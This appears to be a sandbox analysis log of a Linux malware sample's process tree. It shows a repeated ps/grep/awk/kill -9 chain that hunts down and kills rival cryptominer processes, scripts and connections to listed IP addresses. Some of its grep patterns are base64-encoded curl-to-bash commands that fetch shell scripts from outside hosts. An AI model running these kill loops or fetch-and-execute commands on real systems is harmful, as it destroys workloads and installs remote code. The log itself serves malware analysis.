/bin/grepgrep 86s.jpg2⤵PID:978
-
-
/bin/grepgrep -v grep2⤵PID:977
-
-
/bin/psps aux2⤵
- Process Discovery
PID:976
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:987
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:986
-
-
/bin/grepgrep aGTSGJJp2⤵PID:985
-
-
/bin/grepgrep -v grep2⤵PID:984
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:983
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:994
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:993
-
-
/bin/grepgrep nMrfmnRa2⤵PID:992
-
-
/bin/grepgrep -v grep2⤵PID:991
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:990
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1001
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1000
-
-
/bin/grepgrep PuNY5tm22⤵PID:999
-
-
/bin/grepgrep -v grep2⤵PID:998
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:997
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1006
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1005
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1004
-
-
/bin/grepgrep -v grep2⤵PID:1003
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1002
-
-
/bin/grepgrep AgdgACUD2⤵PID:1012
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1013
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1014
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1010
-
-
/bin/grepgrep -v grep2⤵PID:1011
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1020
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1019
-
-
/bin/grepgrep uiZvwxG82⤵PID:1018
-
-
/bin/grepgrep -v grep2⤵PID:1017
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1016
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1027
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1026
-
-
/bin/grepgrep hahwNEdB2⤵PID:1025
-
-
/bin/grepgrep -v grep2⤵PID:1024
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1023
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1034
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1033
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1032
-
-
/bin/grepgrep -v grep2⤵PID:1031
-
-
/bin/psps aux2⤵PID:1030
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1040
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1039
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1038
-
-
/bin/grepgrep -v grep2⤵PID:1037
-
-
/bin/psps aux2⤵PID:1036
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1046
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1045
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1044
-
-
/bin/grepgrep -v grep2⤵PID:1043
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1042
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1053
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1052
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1051
-
-
/bin/grepgrep -v grep2⤵PID:1050
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1049
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1060
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1059
-
-
/bin/grepgrep zXcDajSs2⤵PID:1058
-
-
/bin/grepgrep -v grep2⤵PID:1057
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1056
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1066
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1065
-
-
/bin/grepgrep 3lmigMo2⤵PID:1064
-
-
/bin/grepgrep -v grep2⤵PID:1063
-
-
/bin/psps aux2⤵PID:1062
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1074
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1073
-
-
/bin/grepgrep AkMK4A22⤵PID:1072
-
-
/bin/grepgrep -v grep2⤵PID:1071
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1070
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1081
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1080
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1079
-
-
/bin/grepgrep -v grep2⤵PID:1078
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1077
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1090
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1089
-
-
/bin/grepgrep HiPxCJRS2⤵
- System Network Configuration Discovery
PID:1088
-
-
/bin/grepgrep -v grep2⤵PID:1087
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1086
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1095
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1094
-
-
/bin/grepgrep http_0xCC0302⤵PID:1093
-
-
/bin/grepgrep -v grep2⤵PID:1092
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1091
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1102
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1101
-
-
/bin/grepgrep http_0xCC0312⤵PID:1100
-
-
/bin/grepgrep -v grep2⤵PID:1099
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1098
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1110
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1109
-
-
/bin/grepgrep http_0xCC0322⤵PID:1108
-
-
/bin/grepgrep -v grep2⤵PID:1107
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1106
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1116
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1115
-
-
/bin/grepgrep http_0xCC0332⤵PID:1114
-
-
/bin/grepgrep -v grep2⤵PID:1113
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1112
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1121
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1120
-
-
/bin/grepgrep C4iLM4L2⤵PID:1119
-
-
/bin/grepgrep -v grep2⤵PID:1118
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1117
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1127
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1126
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1125
-
-
/bin/grepgrep -v grep2⤵PID:1124
-
-
/bin/psps aux2⤵PID:1123
-
-
/bin/grepgrep -v grep2⤵PID:1129
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1131
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1130
-
-
/bin/psps aux2⤵PID:1128
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1136
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1135
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1134
-
-
/bin/grepgrep -v grep2⤵PID:1133
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1132
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1144
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1143
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1142
-
-
/bin/grepgrep -v grep2⤵PID:1141
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1140
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1149
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1148
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1147
-
-
/bin/grepgrep -v grep2⤵PID:1146
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1145
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1154
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1153
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1152
-
-
/bin/grepgrep -v grep2⤵PID:1151
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1150
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1159
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1158
-
-
/bin/grepgrep nqscheduler2⤵PID:1157
-
-
/bin/grepgrep -v grep2⤵PID:1156
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1155
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1164
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1163
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1162
-
-
/bin/grepgrep -v grep2⤵PID:1161
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1160
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1170
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1169
-
-
/bin/grepgrep "]"2⤵PID:1168
-
-
/bin/grepgrep -v aux2⤵PID:1167
-
-
/bin/grepgrep -v grep2⤵PID:1166
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1165
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1175
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1174
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1173
-
-
/bin/grepgrep -v grep2⤵PID:1172
-
-
/bin/psps aux2⤵PID:1171
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1180
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1179
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1178
-
-
/bin/grepgrep -v grep2⤵PID:1177
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1176
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1185
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1184
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1183
-
-
/bin/grepgrep -v grep2⤵PID:1182
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1181
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1192
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1191
-
-
/bin/grepgrep -v _2⤵PID:1190
-
-
/bin/grepgrep -v -2⤵PID:1189
-
-
/bin/grepgrep -v /2⤵PID:1188
-
-
/bin/grepgrep -v grep2⤵PID:1187
-
-
/bin/psps aux2⤵PID:1186
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1197
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1196
-
-
/bin/grepgrep "\\[^"2⤵PID:1195
-
-
/bin/grepgrep -v grep2⤵PID:1194
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1193
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1202
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1201
-
-
/bin/grepgrep rsync2⤵PID:1200
-
-
/bin/grepgrep -v grep2⤵PID:1199
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1198
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1207
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1206
-
-
/bin/grepgrep watchd0g2⤵PID:1205
-
-
/bin/grepgrep -v grep2⤵PID:1204
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1203
-
-
/bin/grepgrep -v grep2⤵PID:1209
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1208
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1212
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1211
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1210
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1210
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1210
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1210
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1210
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1210
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1210
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1217
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1216
-
-
/bin/grepgrep 158.69.133.18:82202⤵PID:1215
-
-
/bin/grepgrep -v grep2⤵PID:1214
-
-
/bin/psps aux2⤵PID:1213
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1222
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1221
-
-
/bin/grepgrep /tmp/java2⤵PID:1220
-
-
/bin/grepgrep -v grep2⤵PID:1219
-
-
/bin/psps aux2⤵PID:1218
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1227
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1226
-
-
/bin/grepgrep gitee.com2⤵PID:1225
-
-
/bin/grepgrep -v grep2⤵PID:1224
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1223
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1232
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1231
-
-
/bin/grepgrep /tmp/java2⤵PID:1230
-
-
/bin/grepgrep -v grep2⤵PID:1229
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1228
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1237
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1236
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1235
-
-
/bin/grepgrep -v grep2⤵PID:1234
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1233
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1242
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1241
-
-
/bin/grepgrep 89.35.39.782⤵PID:1240
-
-
/bin/grepgrep -v grep2⤵PID:1239
-
-
/bin/psps aux2⤵PID:1238
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1247
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1246
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1245
-
-
/bin/grepgrep -v grep2⤵PID:1244
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1243
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1252
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1251
-
-
/bin/grepgrep kthrotlds2⤵PID:1250
-
-
/bin/grepgrep -v grep2⤵PID:1249
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1248
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1259
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1258
-
-
/bin/grepgrep ksoftirqds2⤵PID:1257
-
-
/bin/grepgrep -v grep2⤵PID:1256
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1255
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1264
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1263
-
-
/bin/grepgrep netdns2⤵PID:1262
-
-
/bin/grepgrep -v grep2⤵PID:1261
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1260
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1271
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1270
-
-
/bin/grepgrep watchdogs2⤵PID:1269
-
-
/bin/grepgrep -v grep2⤵PID:1268
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1267
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1285
-
-
/usr/bin/awkawk "\$3>80.0{print \$2}"2⤵PID:1284
-
-
/bin/grepgrep -v apache22⤵PID:1280
-
-
/bin/grepgrep -v postgresq12⤵PID:1283
-
-
/bin/grepgrep -v kdevtmpfsi2⤵PID:1282
-
-
/bin/grepgrep -v dblaunched2⤵PID:1279
-
-
/bin/grepgrep -v atd2⤵PID:1281
-
-
/bin/grepgrep -v dblaunchs2⤵PID:1278
-
-
/bin/grepgrep -v dblaunch2⤵PID:1277
-
-
/bin/grepgrep -v root2⤵PID:1276
-
-
/bin/grepgrep -v grep2⤵PID:1275
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1274
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1291
-
-
/bin/grepgrep " ps"2⤵PID:1289
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1290
-
-
/bin/grepgrep -v aux2⤵PID:1288
-
-
/bin/grepgrep -v grep2⤵PID:1287
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1286
-
-
/bin/grepgrep -v grep2⤵PID:1297
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1296
-
-
/bin/grepgrep sync_supers2⤵PID:1298
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1300
-
-
/usr/bin/cutcut -c 9-152⤵PID:1299
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1307
-
-
/usr/bin/cutcut -c 9-152⤵PID:1306
-
-
/bin/grepgrep cpuset2⤵PID:1305
-
-
/bin/grepgrep -v grep2⤵PID:1304
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1303
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1315
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1314
-
-
/bin/grepgrep "x]"2⤵PID:1313
-
-
/bin/grepgrep -v aux2⤵PID:1312
-
-
/bin/grepgrep -v grep2⤵PID:1311
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1310
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1322
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1321
-
-
/bin/grepgrep "sh] <"2⤵PID:1320
-
-
/bin/grepgrep -v aux2⤵PID:1319
-
-
/bin/grepgrep -v grep2⤵PID:1318
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1317
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1329
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1328
-
-
/bin/grepgrep " \\[]"2⤵PID:1327
-
-
/bin/grepgrep -v aux2⤵PID:1326
-
-
/bin/grepgrep -v grep2⤵PID:1325
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1324
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1336
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1335
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1334
-
-
/bin/grepgrep -v grep2⤵PID:1333
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1332
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1343
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1342
-
-
/bin/grepgrep -v grep2⤵PID:1340
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1339
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1341
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1349
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1348
-
-
/bin/grepgrep hahwNEdB2⤵PID:1347
-
-
/bin/grepgrep -v grep2⤵PID:1346
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1345
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1356
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1355
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1354
-
-
/bin/grepgrep -v grep2⤵PID:1353
-
-
/bin/psps aux2⤵PID:1352
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1362
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1361
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1360
-
-
/bin/grepgrep -v grep2⤵PID:1359
-
-
/bin/psps aux2⤵PID:1358
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1369
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1368
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1367
-
-
/bin/grepgrep -v grep2⤵PID:1366
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1365
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1376
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1375
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1374
-
-
/bin/grepgrep -v grep2⤵PID:1373
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1372
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1382
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1381
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1380
-
-
/bin/grepgrep -v grep2⤵PID:1379
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1378
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1388
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1387
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1386
-
-
/bin/grepgrep -v grep2⤵PID:1385
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1384
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1393
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1392
-
-
/bin/grepgrep sustse2⤵PID:1391
-
-
/bin/grepgrep -v grep2⤵PID:1390
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1389
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1398
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1397
-
-
/bin/grepgrep sustse32⤵PID:1396
-
-
/bin/grepgrep -v grep2⤵PID:1395
-
-
/bin/psps aux2⤵PID:1394
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1404
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1403
-
-
/bin/grepgrep wget2⤵PID:1402
-
-
/bin/grepgrep mr.sh2⤵PID:1401
-
-
/bin/grepgrep -v grep2⤵PID:1400
-
-
/bin/psps aux2⤵PID:1399
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1410
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1409
-
-
/bin/grepgrep curl2⤵PID:1408
-
-
/bin/grepgrep mr.sh2⤵PID:1407
-
-
/bin/grepgrep -v grep2⤵PID:1406
-
-
/bin/psps aux2⤵PID:1405
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1416
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1415
-
-
/bin/grepgrep wget2⤵PID:1414
-
-
/bin/grepgrep 2mr.sh2⤵PID:1413
-
-
/bin/grepgrep -v grep2⤵PID:1412
-
-
/bin/psps aux2⤵PID:1411
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1422
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1421
-
-
/bin/grepgrep curl2⤵PID:1420
-
-
/bin/grepgrep 2mr.sh2⤵PID:1419
-
-
/bin/grepgrep -v grep2⤵PID:1418
-
-
/bin/psps aux2⤵PID:1417
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1428
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1427
-
-
/bin/grepgrep wget2⤵PID:1426
-
-
/bin/grepgrep cr5.sh2⤵PID:1425
-
-
/bin/grepgrep -v grep2⤵PID:1424
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1423
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1434
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1433
-
-
/bin/grepgrep curl2⤵PID:1432
-
-
/bin/grepgrep cr5.sh2⤵PID:1431
-
-
/bin/grepgrep -v grep2⤵PID:1430
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1429
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1440
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1439
-
-
/bin/grepgrep wget2⤵PID:1438
-
-
/bin/grepgrep logo9.jpg2⤵PID:1437
-
-
/bin/grepgrep -v grep2⤵PID:1436
-
-
/bin/psps aux2⤵PID:1435
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1446
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1445
-
-
/bin/grepgrep curl2⤵PID:1444
-
-
/bin/grepgrep logo9.jpg2⤵PID:1443
-
-
/bin/grepgrep -v grep2⤵PID:1442
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1441
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1451
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1450
-
-
/bin/grepgrep j2.conf2⤵PID:1449
-
-
/bin/grepgrep -v grep2⤵PID:1448
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1447
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1457
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1456
-
-
/bin/grepgrep wget2⤵PID:1455
-
-
/bin/grepgrep luk-cpu2⤵PID:1454
-
-
/bin/grepgrep -v grep2⤵PID:1453
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1452
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1463
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1462
-
-
/bin/grepgrep curl2⤵PID:1461
-
-
/bin/grepgrep luk-cpu2⤵PID:1460
-
-
/bin/grepgrep -v grep2⤵PID:1459
-
-
/bin/psps aux2⤵PID:1458
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1469
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1468
-
-
/bin/grepgrep wget2⤵PID:1467
-
-
/bin/grepgrep ficov2⤵PID:1466
-
-
/bin/grepgrep -v grep2⤵PID:1465
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1464
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1475
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1474
-
-
/bin/grepgrep curl2⤵PID:1473
-
-
/bin/grepgrep ficov2⤵PID:1472
-
-
/bin/grepgrep -v grep2⤵PID:1471
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1470
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1481
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1480
-
-
/bin/grepgrep wget2⤵PID:1479
-
-
/bin/grepgrep he.sh2⤵PID:1478
-
-
/bin/grepgrep -v grep2⤵PID:1477
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1476
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1487
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1486
-
-
/bin/grepgrep curl2⤵PID:1485
-
-
/bin/grepgrep he.sh2⤵PID:1484
-
-
/bin/grepgrep -v grep2⤵PID:1483
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1482
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1493
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1492
-
-
/bin/grepgrep wget2⤵PID:1491
-
-
